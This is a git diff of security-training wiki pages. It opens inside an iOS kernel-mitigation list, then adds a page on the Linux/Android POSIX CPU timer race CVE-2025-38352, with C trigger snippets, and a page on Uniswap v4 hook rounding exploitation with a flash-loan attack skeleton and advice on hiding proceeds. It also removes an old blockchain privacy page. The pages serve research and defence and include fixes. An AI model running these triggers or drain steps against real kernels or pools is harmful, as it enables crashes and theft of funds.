(apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. + - **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. +- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts. +- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control. +- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash. +- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly. +- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably. +- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. +- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. + ## Physical use-after-free This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) @@ -221,3 +234,4 @@ void iosurface_kwrite64(uint64_t addr, uint64_t value) { With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..8206f80f7 --- /dev/null +++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,213 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation. + +- Affected component: kernel/time/posix-cpu-timers.c +- Primitive: expiry vs deletion race under task exit +- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Quick internals recap (relevant for exploitation) +- Three CPU clocks drive accounting for timers via cpu_clock_sample(): + - CPUCLOCK_PROF: utime + stime + - CPUCLOCK_VIRT: utime only + - CPUCLOCK_SCHED: task_sched_runtime() +- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes: + +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { + struct pid *pid; + rcu_read_lock(); + pid = pid_for_clock(new_timer->it_clock, false); + if (!pid) { rcu_read_unlock(); return -EINVAL; } + new_timer->kclock = &clock_posix_cpu; + timerqueue_init(&new_timer->it.cpu.node); + new_timer->it.cpu.pid = get_pid(pid); + rcu_read_unlock(); + return 0; +} +``` + +- Arming inserts into a per-base timerqueue and may update the next-expiry cache: + +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { + struct posix_cputimer_base *base = timer_base(timer, p); + struct cpu_timer *ctmr = &timer->it.cpu; + u64 newexp = cpu_timer_getexpires(ctmr); + if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; + if (newexp < base->nextevt) base->nextevt = newexp; +} +``` + +- Fast path avoids expensive processing unless cached expiries indicate possible firing: + +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { + struct posix_cputimers *pct = &tsk->posix_cputimers; + if (!expiry_cache_is_inactive(pct)) { + u64 samples[CPUCLOCK_MAX]; + task_sample_cputime(tsk, samples); + if (task_cputimers_expired(samples, pct)) + return true; + } + return false; +} +``` + +- Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred: + +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, + struct list_head *firing, u64 now) { + struct timerqueue_node *next; int i = 0; + while ((next = timerqueue_getnext(head))) { + struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); + u64 expires = cpu_timer_getexpires(ctmr); + if (++i == MAX_COLLECTED || now < expires) return expires; + ctmr->firing = 1; // critical state + rcu_assign_pointer(ctmr->handling, current); + cpu_timer_dequeue(ctmr); + list_add_tail(&ctmr->elist, firing); + } + return U64_MAX; +} +``` + +Two expiry-processing modes +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context + +```c +void run_posix_cpu_timers(void) { + struct task_struct *tsk = current; + __run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { + if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; + tsk->posix_cputimers_work.scheduled = true; + task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { + lockdep_posixtimer_enter(); + handle_posix_cpu_timers(tsk); // IRQ-context path + lockdep_posixtimer_exit(); +} +#endif +``` + +In the IRQ-context path, the firing list is processed outside sighand + +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { + struct k_itimer *timer, *next; unsigned long flags, start; + LIST_HEAD(firing); + if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit + do { + start = READ_ONCE(jiffies); barrier(); + check_thread_timers(tsk, &firing); + check_process_timers(tsk, &firing); + } while (!posix_cpu_timers_enable_work(tsk, start)); + unlock_task_sighand(tsk, &flags); // race window opens here + list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { + int cpu_firing; + spin_lock(&timer->it_lock); + list_del_init(&timer->it.cpu.elist); + cpu_firing = timer->it.cpu.firing; // read then reset + timer->it.cpu.firing = 0; + if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); + rcu_assign_pointer(timer->it.cpu.handling, NULL); + spin_unlock(&timer->it_lock); + } +} +``` + +Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- The target task is exiting but not fully reaped +- Another thread concurrently calls posix_cpu_timer_del() for the same timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: + +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) + return; +``` + +- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing. + +Impact +- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. + +Runtime strategy +- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock): + - For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) + - For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Arm with a very short initial expiration and small interval to maximize IRQ-path entries: + +```c +static timer_t t; +static void setup_cpu_timer(void) { + struct sigevent sev = {0}; + sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race + sev.sigev_signo = SIGUSR1; + if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); + struct itimerspec its = {0}; + its.it_value.tv_nsec = 1; // fire ASAP + its.it_interval.tv_nsec = 1; // re-fire + if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` + +- From a sibling thread, concurrently delete the same timer while the target thread exits: + +```c +void *deleter(void *arg) { + for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` + +- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand(). + +Detection and hardening +- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible. +- Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit. + +Audit hotspots (for reviewers) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): sets ctmr->firing and moves nodes +- handle_posix_cpu_timers(): drops sighand before firing loop +- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap + +Notes for exploitation research +- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs. + +## References +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index 7f4c02712..2629910fb 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -185,6 +185,14 @@ These practices and mechanisms are foundational for anyone looking to engage wit - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) +## DeFi/AMM Exploitation + +If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check: + +{{#ref}} +defi-amm-hook-precision.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md new file mode 100644 index 000000000..4f1535832 --- /dev/null +++ b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md @@ -0,0 +1,162 @@ +# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse + +{{#include ../../banners/hacktricks-training.md}} + +This page documents a class of DeFi/AMM exploitation techniques against Uniswap v4–style DEXes that extend core math with custom hooks. A recent incident in Bunni V2 leveraged a rounding/precision flaw in a Liquidity Distribution Function (LDF) executed on each swap, enabling the attacker to accrue positive credits and drain liquidity. + +Key idea: if a hook implements additional accounting that depends on fixed‑point math, tick rounding, and threshold logic, an attacker can craft exact‑input swaps that cross specific thresholds so that rounding discrepancies accumulate in their favor. Repeating the pattern and then withdrawing the inflated balance realizes profit, often financed with a flash loan. + +## Background: Uniswap v4 hooks and swap flow + +- Hooks are contracts that the PoolManager calls at specific lifecycle points (e.g., beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity). +- Pools are initialized with a PoolKey including hooks address. If non‑zero, PoolManager performs callbacks on every relevant operation. +- Core math uses fixed‑point formats such as Q64.96 for sqrtPriceX96 and tick arithmetic with 1.0001^tick. Any custom math layered on top must carefully match rounding semantics to avoid invariant drift. +- Swaps can be exactInput or exactOutput. In v3/v4, price moves along ticks; crossing a tick boundary may activate/deactivate range liquidity. Hooks may implement extra logic on threshold/tick crossings. + +## Vulnerability archetype: threshold‑crossing precision/rounding drift + +A typical vulnerable pattern in custom hooks: + +1. The hook computes per‑swap liquidity or balance deltas using integer division, mulDiv, or fixed‑point conversions (e.g., token ↔ liquidity using sqrtPrice and tick ranges). +2. Threshold logic (e.g., rebalancing, stepwise redistribution, or per‑range activation) is triggered when a swap size or price movement crosses an internal boundary. +3. Rounding is applied inconsistently (e.g., truncation toward zero, floor versus ceil) between the forward calculation and the settlement path. Small discrepancies don’t cancel and instead credit the caller. +4. Exact‑input swaps, precisely sized to straddle those boundaries, repeatedly harvest the positive rounding remainder. The attacker later withdraws the accumulated credit. + +Attack preconditions +- A pool using a custom v4 hook that performs additional math on each swap (e.g., an LDF/rebalancer). +- At least one execution path where rounding benefits the swap initiator across threshold crossings. +- Ability to repeat many swaps atomically (flash loans are ideal to supply temporary float and amortize gas). + +## Practical attack methodology + +1) Identify candidate pools with hooks +- Enumerate v4 pools and check PoolKey.hooks != address(0). +- Inspect hook bytecode/ABI for callbacks: beforeSwap/afterSwap and any custom rebalancing methods. +- Look for math that: divides by liquidity, converts between token amounts and liquidity, or aggregates BalanceDelta with rounding. + +2) Model the hook’s math and thresholds +- Recreate the hook’s liquidity/redistribution formula: inputs typically include sqrtPriceX96, tickLower/Upper, currentTick, fee tier, and net liquidity. +- Map threshold/step functions: ticks, bucket boundaries, or LDF breakpoints. Determine which side of each boundary the delta is rounded on. +- Identify where conversions cast between uint256/int256, use SafeCast, or rely on mulDiv with implicit floor. + +3) Calibrate exact‑input swaps to cross boundaries +- Use Foundry/Hardhat simulations to compute the minimal Δin needed to move price just across a boundary and trigger the hook’s branch. +- Verify that afterSwap settlement credits the caller more than the cost, leaving a positive BalanceDelta or credit in the hook’s accounting. +- Repeat swaps to accumulate credit; then call the hook’s withdrawal/settlement path. + +Example Foundry‑style test harness (pseudocode) +```solidity +function test_precision_rounding_abuse() public { + // 1) Arrange: set up pool with hook + PoolKey memory key = PoolKey({ + currency0: USDC, + currency1: USDT, + fee: 500, // 0.05% + tickSpacing: 10, + hooks: address(bunniHook) + }); + pm.initialize(key, initialSqrtPriceX96); + + // 2) Determine a boundary‑crossing exactInput + uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary); + + // 3) Loop swaps to accrue rounding credit + for (uint i; i < N; ++i) { + pm.swap( + key, + IPoolManager.SwapParams({ + zeroForOne: true, + amountSpecified: int256(exactIn), // exactInput + sqrtPriceLimitX96: 0 // allow tick crossing + }), + "" + ); + } + + // 4) Realize inflated credit via hook‑exposed withdrawal + bunniHook.withdrawCredits(msg.sender); +} +``` + +Calibrating the exactInput +- Compute ΔsqrtP for a tick step: sqrtP_next = sqrtP_current × 1.0001^(Δtick). +- Approximate Δin using v3/v4 formulas: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Ensure rounding direction matches core math. +- Adjust Δin by ±1 wei around the boundary to find the branch where the hook rounds in your favor. + +4) Amplify with flash loans +- Borrow a large notional (e.g., 3M USDT or 2000 WETH) to run many iterations atomically. +- Execute the calibrated swap loop, then withdraw and repay within the flash loan callback. + +Aave V3 flash loan skeleton +```solidity +function executeOperation( + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata premiums, + address initiator, + bytes calldata params +) external returns (bool) { + // run threshold‑crossing swap loop here + for (uint i; i < N; ++i) { + _exactInBoundaryCrossingSwap(); + } + // realize credits / withdraw inflated balances + bunniHook.withdrawCredits(address(this)); + // repay + for (uint j; j < assets.length; ++j) { + IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]); + } + return true; +} +``` + +5) Exit and cross‑chain replication +- If hooks are deployed on multiple chains, repeat the same calibration per chain. +- Bridge proceeds back to the target chain and optionally cycle via lending protocols to obfuscate flows. + +## Common root causes in hook math + +- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding. +- Tick alignment errors: using unrounded ticks in one path and tick‑spaced rounding in another. +- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement. +- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping. +- Accumulation pathways: per‑swap remainders tracked as credits that are withdrawable by the caller instead of being burned/zero‑sum. + +## Defensive guidance + +- Differential testing: mirror the hook’s math vs a reference implementation using high‑precision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller). +- Invariant/property tests: + - Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees. + - No path should create positive net credit for the swap initiator over repeated exactInput iterations. + - Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput. +- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors. +- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender. +- Rate‑limits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are sub‑wei; sanity‑check deltas against expected ranges. +- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding. + +## Case study: Bunni V2 (2025‑09‑02) + +- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance. +- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller. +- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave. +- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum. +- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain. + +## Hunting checklist + +- Does the pool use a non‑zero hooks address? Which callbacks are enabled? +- Are there per‑swap redistributions/rebalances using custom math? Any tick/threshold logic? +- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent? +- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput. +- Does the hook track per‑caller credits or deltas that can be withdrawn later? Ensure residue is neutralized. + +## References + +- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b) +- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit) +- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development) +- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core) +- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core) +- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md deleted file mode 100644 index 7bdd05ed9..000000000 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ /dev/null @@ -1,191 +0,0 @@ -# Blockchain and Crypto Currencies - -{{#include ../banners/hacktricks-training.md}} - -## Basic Concepts - -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. - -## Consensus Mechanisms - -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: - -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. - -## Bitcoin Essentials - -### Transactions - -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. - -#### Key Components: - -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). - -### Lightning Network - -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. - -## Bitcoin Privacy Concerns - -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. - -## Acquiring Bitcoins Anonymously - -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. - -# Bitcoin Privacy Atacks - -# Summary of Bitcoin Privacy Attacks - -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. - -## **Common Input Ownership Assumption** - -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. - -## **UTXO Change Address Detection** - -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. - -### Example - -To mitigate this, mixing services or using multiple addresses can help obscure ownership. - -## **Social Networks & Forums Exposure** - -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. - -## **Transaction Graph Analysis** - -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. - -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** - -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example - -```bash -2 btc --> 4 btc -3 btc 1 btc -``` - -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. - -## **Forced Address Reuse** - -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. - -### Correct Wallet Behavior - -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. - -## **Other Blockchain Analysis Techniques** - -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. - -## **Traffic Analysis** - -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. - -## More - -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). - -# Anonymous Bitcoin Transactions - -## Ways to Get Bitcoins Anonymously - -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. - -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. - -## CoinJoin - -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. - -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. - -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. - -## PayJoin - -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - -```plaintext -2 btc --> 3 btc -5 btc 4 btc -``` - -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. - -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. - -# Best Practices for Privacy in Cryptocurrencies - -## **Wallet Synchronization Techniques** - -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: - -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. - -## **Utilizing Tor for Anonymity** - -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. - -## **Preventing Address Reuse** - -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. - -## **Strategies for Transaction Privacy** - -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. - -# **Monero: A Beacon of Anonymity** - -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. - -# **Ethereum: Gas and Transactions** - -## **Understanding Gas** - -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. - -## **Executing Transactions** - -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. - -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References - -- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) -- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) -- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) -- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) -- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) -- 